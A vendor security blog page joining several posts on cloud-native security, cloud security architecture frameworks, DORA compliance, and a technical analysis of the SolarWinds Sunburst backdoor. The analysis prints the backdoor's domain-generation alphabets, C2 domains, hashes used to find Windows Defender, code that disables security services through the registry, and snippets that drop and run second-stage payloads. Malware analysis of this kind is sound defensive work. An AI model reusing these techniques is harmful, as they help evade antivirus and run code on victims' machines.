Horizon ACE’s patented network sandbox provide real-time scanning for malware and known Common Vulnerabilities and Exposures (CVEs), ensuring that container images are free from threats. Continuous Container Monitoring The dynamic nature of containerized applications requires continuous monitoring to ensure their health and security. In multi-cloud environments, it’s crucial to have a unified monitoring solution that covers all services consistently. Blind spots must be eliminated to gain full control over the cloud deployment. Tools like Horizon ACE offer comprehensive scanning of asset classes in popular cloud providers such as Amazon AWS, Microsoft Azure, and Google GCP. This includes Lambda functions, S3 buckets, Azure VMs, and more. Continuous monitoring helps organizations detect anomalies and potential security breaches early, allowing for swift remediation. Intelligent and Automated Policy Management As organizations scale their cloud-native environments and embrace the agility that developers demand, policy management becomes a critical aspect of security. It’s not enough to have static policies; they must be intelligent and adaptable to evolving threats and requirements. Intelligent policy management solutions enable organizations to enforce corporate security policies both in the cloud and on-premises. These solutions have the capability to identify and guard against risks introduced through development processes or traditional change management procedures. When a developer’s request deviates from corporate security practices, an intelligent policy management system can automatically trigger actions, such as notifying network analysts or initiating policy work orders. Moreover, these solutions facilitate a “shift-left” approach, where security considerations are integrated into the earliest stages of development. This proactive approach ensures that security is not an afterthought but an integral part of the development lifecycle. Mitigating Risks in Cloud-Native Environments Securing containerized applications, serverless architectures, and microservices in cloud-native environments requires a holistic strategy. Here are some key steps that organizations can take to mitigate risks effectively: 1. Start with a Comprehensive Security Assessment Before diving into cloud-native development, conduct a thorough assessment of your organization’s security posture. Identify potential vulnerabilities and compliance requirements specific to your industry. Understanding your security needs will help you tailor your cloud-native security strategy effectively. 2. Implement Continuous Security Scanning Integrate container scanning tools into your development pipeline to identify vulnerabilities early in the process. Automate scanning to ensure that every container image is thoroughly examined before deployment. Regularly update scanning tools and libraries to stay protected against emerging threats. 3. Embrace Continuous Monitoring Utilize continuous monitoring solutions that cover all aspects of your multi-cloud deployment. This includes not only containers but also serverless functions, storage services, and virtual machines. A unified monitoring approach reduces blind spots and provides real-time visibility into potential security breaches. 4. Invest in Intelligent Policy Management Choose an intelligent policy management solution that aligns with your organization’s security and compliance requirements. Ensure that it offers automation capabilities to enforce policies seamlessly across cloud providers. Regularly review and update policies to adapt to changing security landscapes. 5. Foster a Culture of Security Security is not solely the responsibility of the IT department. Promote a culture of security awareness across your organization. Train developers, operations teams, and other stakeholders on best practices for cloud-native security. Encourage collaboration between security and development teams to address security concerns early in the development lifecycle. Conclusion The adoption of containerized applications, serverless architectures, and microservices in cloud-native environments offers unprecedented flexibility and scalability to enterprises. However, these advancements also introduce new security challenges that organizations must address diligently. By implementing a comprehensive security strategy that includes continuous scanning, monitoring, and intelligent policy management, businesses can harness the power of the cloud while safeguarding their applications and data. As the cloud-native landscape continues to evolve, staying proactive and adaptive in security practices will be crucial to maintaining a secure and resilient cloud environment. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud threats increased by 95 percent in 2022 alone! At a time when many organizations are moving their resources to the cloud and security threats are at an all-time high, focusing on your cloud security architecture has never been more critical. While cloud adoption has revolutionized businesses, it has also brought complex challenges. For example, cloud environments can be susceptible to numerous security threats. Besides, there are compliance regulations that you must address. This is... Cloud Security Cloud Security Architecture: Methods, Frameworks, & Best Practices Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/8/23 Published Cloud threats increased by 95 percent in 2022 alone! At a time when many organizations are moving their resources to the cloud and security threats are at an all-time high, focusing on your cloud security architecture has never been more critical. While cloud adoption has revolutionized businesses, it has also brought complex challenges. For example, cloud environments can be susceptible to numerous security threats. Besides, there are compliance regulations that you must address. This is why it’s essential to implement the right methods, frameworks, and best practices in cloud environments. Doing so can protect your organization’s sensitive cloud resources, help you meet compliance regulations, and maintain customer trust. Understanding Cloud Security Architecture Cloud security architecture is the umbrella term that covers all the hardware, software, and technologies used to protect your cloud environment. It encompasses the configurations and secure activities that protect your data, workloads, applications, and infrastructure within the cloud. This includes identity and access management (IAM), application and data protection, compliance monitoring, secure DevOps, governance, and physical infrastructure security. A well-defined security architecture also enables manageable decompositions of cloud deployments, including mixed SaaS, PaaS, and IaaS deployments. This helps you highlight specific security needs in each cloud area. Additionally, it facilitates integration between clouds, zones, and interfaces, ensuring comprehensive coverage of all deployment aspects. Cloud security architects generally use a layered approach when designing cloud security. Not only does this improve security, but it also allows companies to align business needs with technical security practices. As such, a different set of cloud stakeholders, including business teams and technical staff, can derive more value. The Fundamentals of Cloud Security Architecture Every cloud computing architecture has three core fundamental capabilities; confidentiality, integrity, and availability. This is known as the CIA triad. Understanding each capability will guide your efforts to build, design, and implement safer cloud environments. 1. Confidentiality This is the ability to keep information hidden and inaccessible to unauthorized entities, such as attackers, malware, and people in your organization, without the appropriate access level. Privacy and trust are also part of confidentiality. When your organization promises customers to handle their data with utmost secrecy, you’re assuring them of confidentiality. 2. Integrity Integrity means that the services, systems, and applications work and behave exactly how you expect. That is, their output is consistent, accurate, and trustworthy. If these systems and applications are compromised and produce unexpected or misleading results, your organization may suffer irreparable damage. 3. Availability As the name implies, availability assures your cloud resources are consistently accessible and operational when needed. So, suppose an authorized user (whether customers or employees) needs data and applications in the cloud, such as your products or services. In that case, they can access it without interruption or significant downtime. Cybercriminals sometimes use denial-of-service (DoS) attacks to prevent the availability of cloud resources. When this happens, your systems become unavailable to you or your customers, which isn’t ideal. So, how do you stop that from happening and ensure your cloud security architecture provides these core capabilities? Approaches to Cloud Security Architecture There are multiple security architecture approaches, including frameworks and methodologies, to support design and implementation steps. Cloud Security Frameworks and Methodologies A cloud security framework outlines a set of guidelines and controls your organizations can use when securing data, applications, and infrastructures within the cloud computing environment. Frameworks provide a structured approach to detecting risks and implementing appropriate security protocols to prevent them. Without a consistent cloud security framework, your organization exposes itself to more vulnerabilities. You may lack the comprehensive visibility to ensure your data and applications are adequately secure from unauthorized access, data exposure, malware, and other security threats. Plus, you may have limited incident response capabilities, inconsistent security practices, and increased operational risks. A cloud security framework also helps you stay compliant with regulatory requirements. Lastly, failing to have appropriate security frameworks can erode customer trust and confidence in your ability to protect their privacy. This is why you must implement a recognized framework to significantly reduce potential risks associated with cloud security and ensure the CIA of data and systems. There are numerous security frameworks. Some are for governance (e.g., COBIT and COSO), architecture (e.g., SABSA), and the NIST cybersecurity framework. While these generally apply broadly to technology, they may also apply to cloud environments. Other cloud-specific frameworks include the ISO/IEC 27017:2015, Cloud Control Matrix (CCM), Cloud Security Alliance, and the FedRAMP. 1. NIST Cybersecurity Framework (NIST CSF) The National Institute of Standards and Technology’s Cybersecurity Framework (NIST CSF) outlines a set of guidelines for securing security systems. It has five core capabilities: Identify, Protect, Detect, Respond, and Recover. Identify – What processes, assets, and systems need protection? Protect – Develop and implement the right safeguards to ensure critical infrastructure services delivery. Detect – Implement the appropriate mechanisms to enable the timely discovery of cybersecurity incidents. Respond – Develop techniques to contain the impact of potential cybersecurity incidents. Recover – Implement appropriate measures to restore business capabilities and services affected by cybersecurity events. While the NIST CSF is a general framework for the security of your organization’s systems, these five pillars can help you assess and manage cloud-related security risks. 2. ISO/IEC 27017:2015 ISO 27017 is a cloud security framework that defines guidelines on information security issues specific to the cloud. The framework’s security controls add to the ISO/IEC 27002 and ISO/IEC 27001 standards’ recommendations. The framework also offers specific security measures and implementation advice for cloud service providers and applications. 3. Sherwood Applied Business Security Architecture (SABSA) First developed by John Sherwood, SABSA is an Enterprise Security Architecture Framework that provides guidelines for developing business-driven, risk, and opportunity-focused security architectures to support business objectives. The SABSA framework aims to prioritize your business needs, meaning security services are designed and developed to be an integral part of your business and IT infrastructure. Here are some core principles of the Gartner-recommended SABSA framework for enterprises: It is business-driven. SABSA ensures security is integrated into your entire business strategy. This means there’s a strong emphasis on understanding your organization’s business objectives. So, any security measure is aligned with those objectives. SABSA is a risk-based approach. It considers security vulnerabilities, threats, and their potential impacts to prioritize security operations and investments. This helps your organization allocate resources effectively to address the most critical risks first. It promotes a layered security architecture. Earlier, we mentioned how a layered approach can help you align business and technical needs. So, it’s expected that this is a core principle of SABSA. This allows you to deploy multiple security controls across different layers, such as physical security, network security, application security, and data security. Each layer focuses on a specific security aspect and provides special controls and measures. Transparency: SABSA provides two-way traceability; that is, a clear two-way relationship exists between aligning security requirements and business goals. This provides a clear overview of where expenditure is made ad the value that is returned. Modular approach: SABSA offers agility for ease of implementation and management. This can make your business flexible when meeting changing market or economic conditions. 4. MITRE ATT&CK The MITRE ATT&CK framework is a repository of techniques and tactics that threat hunters, defenders, red teams, and security architects can use to classify, identify, and assess attacks. Instead of focusing on security controls and mechanisms to mitigate threats, this framework targets the techniques that hackers and other threat actors use in the cloud. So, using this framework can be excellent if you want to understand how potential attack vectors operate. It can help you become proactive and strengthen your cloud security posture through improved detection and incident response. 5. Cloud Security Alliance Cloud Controls Matrix (CSA CCM) The CSA CCM is a cybersecurity control framework specifically for cloud computing. It contains 197 control objectives structured in 17 domains that cover every critical aspect of cloud technology. Cloud customers and cloud service providers (CSPs) can use this tool to assess cloud implementation systematically. It also guides customers on the appropriate security controls for implementation by which actor in the cloud supply chain. 6. Cloud Security Alliance Security Trust Assurance and Risk (CSA STAR) The CSA STAR framework is for CSPs. It combines the principles of transparency, thorough auditing, and harmonization of standards. What CSA STAR does is to help you, as a cloud customer, assess a cloud service provider’s reliability and security posture. There are two ways this can happen: CSA STAR Certification: This is a rigorous third-party assessment of the CSP’s security controls, posture, and practices. The CSP undergoes a thorough audit based on the CSA’s Cloud Control Matrix (CCM), which is a set of cloud security controls aligned with industry standards. CSA STAR Self-Assessment: The CSA also has a Consensus Assessment Initiative Questionnaire (CAIQ). CSPs can use this to test and report on their security controls and practices. Since it’s a self-assessment procedure, it allows CSPs to be transparent, enabling customers like you to understand a CSP’s security capabilities before adopting their services. Challenges and Considerations in Cloud Security Architecture Before any cloud deployment, it’s important to understand the threats you may face, such as privilege-based attacks and malware, and be prepared for them. Since there are many common threats, we’ll quickly run through the most high-profile ones with the most devastating impacts. It’s important to remember some threats may also be specific to the type of cloud service model. 1. Insider risks This includes the employees in your organization who have access to data, applications, and systems, as well as CSP administrators. Whenever you subscribe to a CSP’s services, you entrust your workloads to the staff who maintain the CSP architecture. 2. DoS attacks Direct denial-of-service (DDoS) attacks are critical issues in cloud environments. Although security perimeters can deflect temporary DDoS attacks to filter out repeated requests, permanent DoS attacks are more damaging to your firmware and render the server unbootable. If this happens, you may need to physically reload the firmware and rebuild the system from the ground up, resulting in business downtime for weeks or longer. 3. Data availability You also want to consider how much of your data is accessible to the government. Security professionals are focusing on laws and examples that demonstrate when and how government authorities can access data in the cloud, whether through legal processes or court rulings. 4. Cloud-connected Edge Systems The concept of “cloud edge” encompasses both edge systems directly connected to the cloud and server architecture that is not directly controlled by the cloud service provider (CSP). To extend their services to smaller or remote locations, global CSPs often rely on partners as they cannot have facilities worldwide. Consequently, CSPs may face limitations in fully regulating hardware monitoring, ensuring physical box integrity, and implementing attack defenses like blocking USB port access. 5. Hardware Limitations Having the most comprehensive cloud security architecture still won’t help you create stronger passwords. While your cloud security architects focus on the firmware, hardware, and software, it’s down to the everyday users to follow best practices for staying safe. Best Practices in Cloud Security Architecture The best practices in Cloud Security Architecture are highlighted below: 1. Understand the shared responsibility model Cloud security is implemented with a shared responsibility model. Although, as the cloud customer, you may have most of the obligation, the cloud provider also shares some of the responsibility. Most vendors, such as Amazon Web Services (AWS) and Microsoft Azure, have documentation that clearly outlines your specific responsibilities depending on the deployment type. It’s important to clearly understand your shared responsibility model and review cloud vendor policies. This will prevent miscommunications and security incidents due to oversight. 2. Secure network design and segmentation This is one of the principles of cloud security architecture – and by extension, a best practice. Secure network design and segmentation involve dividing the network into isolated segments to avoid lateral movements during a breach. Implementing network segmentation allows your organization to contain potential risks and attacks within a specific segment. This can minimize the effects of an incident on your entire network and protect critical assets within the cloud infrastructure. 3. Deploy an Identity and access management (IAM) solution Unauthorized access is one of the biggest problems facing cloud security. Although hackers now use sophisticated tools to gain access to sensitive data, implementing a robust identity and access management (IAM) system can help prevent many threats. Consider access policies like role-based access control (RBAC) permissions, multi-factor authentication (MFA), and continuous threat monitoring. 4. Consider a CASB or Cloud Security Solution (e.g., Cloud-Native Application Protection (CNAPP) and Cloud Workload Protection Platforms (CWPP) Cloud Access Security Brokers (CASBs) provide specialized tools to enforce cloud security policies. Implementing a CASB solution is particularly recommended if you have a multi-cloud environment involving different vendors. Since a CASB acts as an intermediary between your organization’s on-premise infrastructure and CSPs, it allows your business to extend security policies and controls to the cloud. CASBs can enhance your data protection through features like data loss prevention, tokenization, and encryption. Plus, they help you discover and manage shadow IT through visibility into unauthorized cloud services and applications. Besides CASB solutions, you should also consider other solutions for securing your cloud environments. This includes cloud-native application protection (CNAPP) and cloud workload protection platforms (CWPP). For example, a CNAPP like Horizon ACE can improve your cloud security architecture with tailored solutions and automated security management. 5. Conduct Audits, Penetration Testing, and Vulnerability Testing Whether or not you outsource security, performing regular penetration tests and vulnerability is necessary. This helps you assess the effectiveness of your cloud security measures and identify potential weaknesses before hackers exploit them. You should also perform security audits that evaluate cloud security vendors’ capabilities and ensure appropriate access controls are in place. This can be achieved by using the guidelines of some frameworks we mentioned earlier, such as the CSA STAR. 6. Train Your Staff Rather than hiring new hires, training your current staff may be beneficial. Your employees have been at your company for a while and are already familiar with the organization’s culture, values, and processes. This could give them an advantage over new hires. As most existing IT skills can be reused, upskilling employees is more efficient and may help you meet the immediate need for a cloud IT workforce. Train your staff on recognizing simple and complex cybersecurity threats, such as creating strong passwords, identifying social engineering attacks, and advanced topics like risk management. 7. Mitigate Cloud Misconfigurations A misconfigured bucket could give access to anyone on the internet. To minimize cloud misconfigurations and reduce security risks, managing permissions in cloud services carefully is crucial. Misconfigurations, such as granting excessive access permissions to external users, can enable unauthorized access and potential data breaches. Attackers who compromise credentials can escalate their privileges, leading to further data theft and broader attacks within the cloud infrastructure. Therefore, it is recommended that IT, storage, or security teams, with assistance from development teams, personally configure each cloud bucket, ensuring proper access controls and avoiding default permissions. 8. Ensure compliance with regulatory requirements Most organizations today need to comply with strict regulatory requirements. This is especially important if you collect personally identifiable information (PII) or if your business is located in certain regions. Before you adopt a new cloud computing service, assess their compliance requirements and ensure they can fulfill data security needs. Failure to meet compliance requirements can lead to huge penalties. Other best practices for your cloud security include continuous monitoring and threat intelligence, data encryption at rest and in transit, and implementing intrusion detection and intrusion prevention systems. Conclusion When establishing a robust cloud security architecture, aligning business objectives and technical needs is important. Your organization must understand the shared responsibility model, risks, the appropriate implementation framework, and best practices. However, designing and developing cloud computing architectures can be complicated. Horizon ACE can secure your multi-cloud environment in minutes. Want to improve your cloud security configuration management? Horizon ACE’s agentless CNAPP can provide complete visibility over cloud resources, ensure compliance, and provide advanced risk monitoring and threat intelligence. Speak to us now. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Update : Next two parts of the analysis are available here and here . As earlier reported by FireEye, the actors behind a global... Cloud Security Sunburst Backdoor: A Deeper Look Into The SolarWinds’ Supply Chain Malware Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/15/20 Published Update : Next two parts of the analysis are available here and here . As earlier reported by FireEye, the actors behind a global intrusion campaign have managed to trojanise SolarWinds Orion business software updates in order to distribute malware. The original FireEye write-up already provides a detailed description of this malware. Nevertheless, as the malicious update SolarWinds-Core-v2019.4.5220-Hotfix5.msp was still available for download for hours since the FireEye’s post, it makes sense to have another look into the details of its operation. The purpose of this write-up is to provide new information, not covered in the original write-up. Any overlaps with the original description provided by FireEye are not intentional. For start, the malicious component SolarWinds.Orion.Core.BusinessLayer.dll inside the MSP package is a non-obfuscated .NET assembly. It can easily be reconstructed with a .NET disassembler, such as ILSpy , and then fully reproduced in C# code, using Microsoft Visual Studio. Once reproduced, it can be debugged to better understand how it works. In a nutshell, the malicious DLL is a backdoor. It is loaded into the address space of the legitimate SolarWinds Orion process SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe . The critical strings inside the backdoor’s class SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer are encoded with the DeflateStream Class of the .NET’s System.IO.Compression library, coupled with the standard base64 encoder. Initialisation Once loaded, the malware checks if its assembly file was created earlier than 12, 13, or 14 days ago. The exact number of hours it checks is a random number from 288 to 336. Next, it reads the application settings value ReportWatcherRetry . This value keeps the reporting status, and may be set to one of the states: New (4) Truncate (3) Append (5) When the malware runs the first time, its reporting status variable ReportWatcherRetry is set to New (4) . The reporting status is an internal state that drives the logic. For example, if the reporting status is set to Truncate , the malware will stop operating by first disabling its networking communications, and then disabling other security tools and antivirus products. In order to stay silent, the malware periodically falls asleep for a random period of time that varies between 30 minutes and 2 hours. At the start, the malware obtains the computer’s domain name . If the domain name is empty, the malware quits. It then generates a 8-byte User ID, which is derived from the system footprint. In particular, it is generated from MD5 hash of a string that consists from the 3 fields: the first or default operational (can transmit data packets) network interface’s physical address computer’s domain name UUID created by Windows during installation (machine’s unique ID) Even though it looks random, the User ID stays permanent as long as networking configuration and the Windows installation stay the same. Domain Generation Algorithm The malware relies on its own CryptoHelper class to generate a domain name. This class is instantiated from the 8-byte User ID and the computer’s domain name, encoded with a substitution table: “rq3gsalt6u1iyfzop572d49bnx8cvmkewhj” . For example, if the original domain name is “ domain “, its encoded form will look like: “ n2huov “. To generate a new domain, the malware first attempts to resolve domain name “ api.solarwinds.com “. If it fails to resolve it, it quits. The first part of the newly generated domain name is a random string, produced from the 8-byte User ID, a random seed value, and encoded with a custom base64 alphabet “ph2eifo3n5utg1j8d94qrvbmk0sal76c” . Because it is generated from a random seed value, the first part of the newly generated domain name is random. For example, it may look like “ fivu4vjamve5vfrt ” or “ k1sdhtslulgqoagy “. To produce the domain name, this string is then appended with the earlier encoded domain name (such as “ n2huov “) and a random string, selected from the following list: .appsync-api.eu-west-1[.]avsvmcloud[.]com .appsync-api.us-west-2[.]avsvmcloud[.]com .appsync-api.us-east-1[.]avsvmcloud[.]com .appsync-api.us-east-2[.]avsvmcloud[.]com For example, the final domain name may look like: fivu4vjamve5vfrtn2huov[.]appsync-api.us-west-2[.]avsvmcloud[.]com or k1sdhtslulgqoagyn2huov[.]appsync-api.us-east-1[.]avsvmcloud[.]com Next, the domain name is resolved to an IP address, or to a list of IP addresses. For example, it may resolve to 20.140.0.1 . The resolved domain name will be returned into IPAddress structure that will contain an AddressFamily field – a special field that specifies the addressing scheme. If the host name returned in the IPAddress structure is different to the queried domain name, the returned host name will be used as a C2 host name for the backdoor. Otherwise, the malware will check if the resolved IP address matches one of the patterns below, in order to return an ‘address family’: IP Address Subnet Mask ‘Address Family’ 10.0.0.0 255.0.0.0 Atm 172.16.0.0 255.240.0.0 Atm 192.168.0.0 255.255.0.0 Atm 224.0.0.0 240.0.0.0 Atm fc00:: fe00:: Atm fec0:: ffc0:: Atm ff00:: ff00:: Atm 41.84.159.0 255.255.255.0 Ipx 74.114.24.0 255.255.248.0 Ipx 154.118.140.0 255.255.255.0 Ipx 217.163.7.0 255.255.255.0 Ipx 20.140.0.0 255.254.0.0 ImpLink 96.31.172.0 255.255.255.0 ImpLink 131.228.12.0 255.255.252.0 ImpLink 144.86.226.0 255.255.255.0 ImpLink 8.18.144.0 255.255.254.0 NetBios 18.130.0.0 255.255.0.0 NetBios 71.152.53.0 255.255.255.0 NetBios 99.79.0.0 255.255.0.0 NetBios 87.238.80.0 255.255.248.0 NetBios 199.201.117.0 255.255.255.0 NetBios 184.72.0.0 255.254.0.0 NetBios For example, if the queried domain resolves to 20.140.0.1 , it will match the entry in the table 20.140.0.0 , for which the returned ‘address family’ will be ImpLink . The returned ‘address family’ invokes an additional logic in the malware. Disabling Security Tools and Antivirus Products If the returned ‘address family’ is ImpLink or Atm , the malware will enumerate all processes and for each process, it will check if its name matches one of the pre-defined hashes. Next, it repeats this processed for services and for the drivers installed in the system. If a process name or a full path of an installed driver matches one of the pre-defined hashes, the malware will disable it. For hashing, the malware relies on Fowler–Noll–Vo algorithm. For example, the core process of Windows Defender is MsMpEng.exe . The hash value of “ MsMpEng ” string is 5183687599225757871 . This value is specifically enlisted the malware’s source under a variable name timeStamps : timeStamps = new ulong[1] { 5183687599225757871uL } The service name of Windows Defender is windefend – the hash of this string ( 917638920165491138 ) is also present in the malware body. As a result, the malicioius DLL will attempt to stop the Windows Defender service. In order to disable various security tools and antivirus products, the malware first grants itself SeRestorePrivilege and SeTakeOwnershipPrivilege privileges, using the native AdjustTokenPrivileges() API. With these privileges enabled, the malware takes ownership of the service registry keys it intends to manipulate. The new owner of the keys is first attempted to be explicitly set to Administrator account. If such account is not present, the malware enumerates all user accounts, looking for a SID that represents the administrator account. The malware uses Windows Management Instrumentation query “ Select * From Win32_UserAccount ” to obtain the list of all users. For each enumerated user, it makes sure the account is local and then, when it obtains its SID, it makes sure the SID begins with S-1-5- and ends with -500 in order to locate the local administrator account. Once such account is found, it is used as a new owner for the registry keys, responsible for manipulation of the services of various security tools and antivirus products. With the new ownership set, the malware then disables these services by setting their Start value to 4 (Disabled): registryKey2.SetValue(“Start”), 4, RegistryValueKind.DWord); HTTP Backdoor If the returned ‘address family’ for the resolved domain name is NetBios , as specified in the lookup table above, the malware will initialise its HttpHelper class, which implements an HTTP backdoor. The backdoor commands are covered in the FireEye write-up, so let’s check only a couple of commands to see what output they produce. One of the backdoor commands is CollectSystemDescription . As its name suggests, it collects system information. By running the code reconstructed from the malware, here is an actual example of the data collected by the backdoor and delivered to the attacker’s C2 with a separate backdoor command UploadSystemDescription : 1. %DOMAIN_NAME% 2. S-1-5-21-298510922-2159258926-905146427 3. DESKTOP-VL39FPO 4. UserName 5. [E] Microsoft Windows NT 6.2.9200.0 6.2.9200.0 64 6. C:\WINDOWS\system32 7. 0 8. %PROXY_SERVER% Description: Killer Wireless-n/a/ac 1535 Wireless Network Adapter #2 MACAddress: 9C:B6:D0:F6:FF:5D DHCPEnabled: True DHCPServer: 192.168.20.1 DNSHostName: DESKTOP-VL39FPO DNSDomainSuffixSearchOrder: Home DNSServerSearchOrder: 8.8.8.8, 192.168.20.1 IPAddress: 192.168.20.30, fe80::8412:d7a8:57b9:5886 IPSubnet: 255.255.255.0, 64 DefaultIPGateway: 192.168.20.1, fe80::1af1:45ff:feec:a8eb NOTE: Field #7 specifies the number of days (0) since the last system reboot. GetProcessByDescription command will build a list of processes running on a system. This command accepts an optional argument, which is one of the custom process properties enlisted here . If the optional argument is not specified, the backdoor builds a process list that looks like: [ 1720] svchost [ 8184] chrome [ 4732] svchost If the optional argument is specified, the backdoor builds a process list that includes the specified process property in addition to parent process ID, username and domain for the process owner. For example, if the optional argument is specified as “ ExecutablePath “, the GetProcessByDescription command may return a list similar to: [ 3656] sihost.exe C:\WINDOWS\system32\sihost.exe 1720 DESKTOP-VL39FPO\UserName [ 3824] svchost.exe C:\WINDOWS\system32\svchost.exe 992 DESKTOP-VL39FPO\UserName [ 9428] chrome.exe C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 4600 DESKTOP-VL39FPO\UserName Other backdoor commands enable deployment of the 2nd stage malware. For example, the WriteFile command will save the file: using (FileStream fileStream = new FileStream(path, FileMode.Append, FileAccess.Write)) { fileStream.Write(array, 0, array.Length); } The downloaded 2nd stage malware can then the executed with RunTask command: using (Process process = new Process()) { process.StartInfo = new ProcessStartInfo(fileName, arguments) { CreateNoWindow = false, UseShellExecute = false }; if (process.Start()) … Alternatively, it can be configured to be executed with the system restart, using registry manipulation commands, such as SetRegistryValue . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

The Digital Operational Resilience Act (DORA) is set to transform how financial institutions across the European Union manage and... Network Security Navigating DORA: How to ensure your network security and compliance strategy is resilient Joseph Hallman 2 min read Joseph Hallman Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/19/24 Published The Digital Operational Resilience Act (DORA) is set to transform how financial institutions across the European Union manage and mitigate ICT (Information and Communications Technology) risks. With the official compliance deadline in January 2025, organizations are under pressure to ensure their systems can withstand and recover from disruptions—an urgent priority in an increasingly digitized financial ecosystem. DORA introduces strict requirements for ICT risk management, incident reporting, and third-party oversight, aiming to bolster the operational resilience of financial firms. But what are the key deadlines and penalties, and how can organizations ensure they stay compliant? Key Timelines and Penalties Under DORA Compliance deadline: January 2025 – Financial firms and third-party ICT providers must have operational resilience frameworks in place by this deadline. Regular testing requirements – Companies will need to conduct resilience testing regularly, with critical institutions potentially facing enhanced testing requirements. Penalties for non-compliance – Fines for failing to comply with DORA’s mandates can be substantial. Non-compliance could lead to penalties of up to 2% of annual turnover, and repeated breaches could result in even higher sanctions or operational restrictions. Additionally, firms face reputational risks if they fail to meet incident reporting and recovery expectations. Long term effect- DORA increases senior management's responsibility for ICT risk oversight, driving stronger internal controls and accountability. Executives may face liability for failing to manage risks, reinforcing the focus on compliance and governance. These regulations create a dynamic challenge, as organizations not only need to meet the initial requirements by 2025, but also adapt to the changes as the standards continue to evolve over time. Firewall rule recertification The Digital Operational Resilience Act (DORA) emphasizes the need for financial institutions in the EU to ensure operational resilience in the face of technological risks. While DORA does not explicitly mandate firewall rule recertification , several of its broader requirements apply to the management and oversight of firewall rules and the overall security infrastructure, which would include periodic firewall rule recertification as part of maintaining a robust security posture. A few of the key areas relevant to firewall rules and the necessity for frequent recertification are highlighted below. ICT Risk Management Framework- Article 6 requires financial institutions to implement a comprehensive ICT (Information and Communication Technology) risk management framework. This includes identifying, managing, and regularly testing security policies, which would encompass firewall rules as they are a critical part of network security. Regular rule recertification helps to ensure that firewall configurations are up-to-date and aligned with security policies. Detection Solutions- Article 10 mandates that financial entities must implement effective detection solutions to identify anomalies, incidents, and cyberattacks. These solutions are required to have multiple layers of control, including defined alert thresholds that trigger incident response processes. Regular testing of these detection mechanisms is also essential to ensure their effectiveness, underscoring the need for ongoing evaluations of firewall configurations and rules ICT Business Continuity Policy- Article 11 emphasizes the importance of establishing a comprehensive ICT business continuity policy. This policy should include strategic approaches to risk management, particularly focusing on the security of ICT third-party providers. The requirement for regular testing of ICT business continuity plans, as stipulated in Article 11(6), indirectly highlights the need for frequent recertification of firewall rules. Organizations must document and test their plans at least once a year, ensuring that security measures, including firewalls, are up-to-date and effective against current threats. Backup, Restoration, and Recovery- Article 12 outlines the procedures for backup, restoration, and recovery, necessitating that these processes are tested periodically. Entities must ensure that their backup and recovery systems are segregated and effective, further supporting the requirement for regular recertification of security measures like firewalls to protect backup systems against cyber threats. Crisis Communication Plans- Article 14 details the obligations regarding communication during incidents, emphasizing that organizations must have plans in place to manage and communicate risks related to the security of their networks. This includes ensuring that firewall configurations are current and aligned with incident response protocols, necessitating regular reviews and recertifications to adapt to new threats and changes in the operational environment. In summary, firewall rule recertification supports the broader DORA requirements for maintaining ICT security, managing risks, and ensuring network resilience through regular oversight and updates of critical security configurations. How AlgoSec helps meet regulatory requirements AlgoSec provides the tools, intelligence, and automation necessary to help organizations comply with DORA and other regulatory requirements while streamlining ongoing risk management and security operations. Here’s how: 1. Comprehensive network visibility AlgoSec offers full visibility into your network, including detailed insights into the application connectivity that each firewall rule supports. This application-centric approach allows you to easily identify security gaps or vulnerabilities that could lead to non-compliance. With AlgoSec, you can maintain continuous alignment with regulatory requirements like DORA by ensuring every firewall rule is tied to an active, relevant application. This helps ensure compliance with DORA's ICT risk management framework, including continuous identification and management of security policies (Article 6). Benefit : With this deep visibility, you remain audit-ready with minimal effort, eliminating manual tracking of firewall rules and reducing the risk of errors. 2. Automated risk and compliance reports AlgoSec automates compliance checks across multiple regulations, continuously analyzing your security policies for misconfigurations or risks that may violate regulatory requirements. This includes automated recertification of firewall rules, ensuring your organization stays compliant with frameworks like DORA's ICT Risk Management (Article 6). Benefit : AlgoSec saves your team significant time and reduces the likelihood of costly mistakes, while automatically generating audit-ready reports that simplify your compliance efforts. 3. Incident reporting and response DORA mandates rapid detection, reporting, and recovery during incidents. AlgoSec’s intelligent platform enhances incident detection and response by automatically identifying firewall rules that may be outdated or insecure and aligning security policies with incident response protocols. This helps ensure compliance with DORA's Detection Solutions (Article 10) and Crisis Communication Plans (Article 14). Benefit : By accelerating response times and ensuring up-to-date firewall configurations, AlgoSec helps you meet reporting deadlines and mitigate breaches before they escalate. 4. Firewall policy management AlgoSec simplifies firewall management by taking an application-centric approach to recertifying firewall rules. Instead of manually 